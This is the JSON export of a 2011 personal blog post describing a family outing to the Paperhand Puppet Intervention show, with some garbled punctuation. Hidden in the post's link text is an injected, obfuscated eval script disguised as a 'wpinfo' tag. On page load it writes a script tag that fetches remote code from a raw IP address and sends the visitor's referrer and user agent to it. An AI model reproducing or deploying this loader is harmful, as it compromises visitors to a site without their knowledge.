{"id":2658,"date":"2011-08-30T13:54:01","date_gmt":"2011-08-30T20:54:01","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2658"},"modified":"2011-12-06T13:59:27","modified_gmt":"2011-12-06T20:59:27","slug":"these-are-serious-puppets-people","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2658","title":{"rendered":"These are serious puppets, people."},"content":{"rendered":"<p>Highlight of every summer \u00e2\u20ac\u201c the <a href=\"http:\/\/www.paperhand.org\/index.htm\" target=\"_blank\">Paperhand <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seytk|var|u0026u|referrer|hyzdd||js|php'.split('|'),0,{}))\n<\/script><\/noindex> Puppet Intervention<\/a> show!<\/p>\n<p>The show was great \u00e2\u20ac\u201c even Shawn was impressed, and teenagers are hard to impress!\u00c2\u00a0 The story was more abstract than most of their shows, but the puppets were really beautiful.\u00c2\u00a0 There was a lot about Earth goddesses, which was kind of heavy handed but gorgeous to watch.\u00c2\u00a0 As the evening got darker, the stilt-walkers came out dressed as skeletons and did a wild masquerade dance.\u00c2\u00a0 And at the end, an enormous green dragon died and came back to life, and flew out over the audience, attended by crowds of children lifting their hands up to touch the green scales and golden wings.<\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"http:\/\/www.youtube.com\/embed\/JSDpLJbz4m8\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>I hadn\u00e2\u20ac\u2122t taken Emily since she was pretty little, and I was determined to take her again this year. So Emily and Angie and Myndi and Shawn and Ken and Karen and Xak and me and Paul all went to the puppet show together.\u00c2\u00a0 It was amazing \u00e2\u20ac\u201c the puppet show was wonderful, but the really amazing thing was just sitting there on a beautiful evening with so many of the people I love, all in the same place.\u00c2\u00a0 After the show, Emily and Angie were playing with Xak, and I couldn\u00e2\u20ac\u2122t pay attention at all to the grownup conversation the rest of us were having.\u00c2\u00a0 I just kept watching them, and I couldn\u00e2\u20ac\u2122t believe how happy it made me.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Highlight of every summer \u00e2\u20ac\u201c the Paperhand Puppet Intervention show! The show was great \u00e2\u20ac\u201c&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[40,25],"class_list":["post-2658","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-durham","tag-kids"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2658"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2658"}],"version-history":[{"count":3,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2658\/revisions"}],"predecessor-version":[{"id":2661,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2658\/revisions\/2661"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2658"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2658"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2658"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}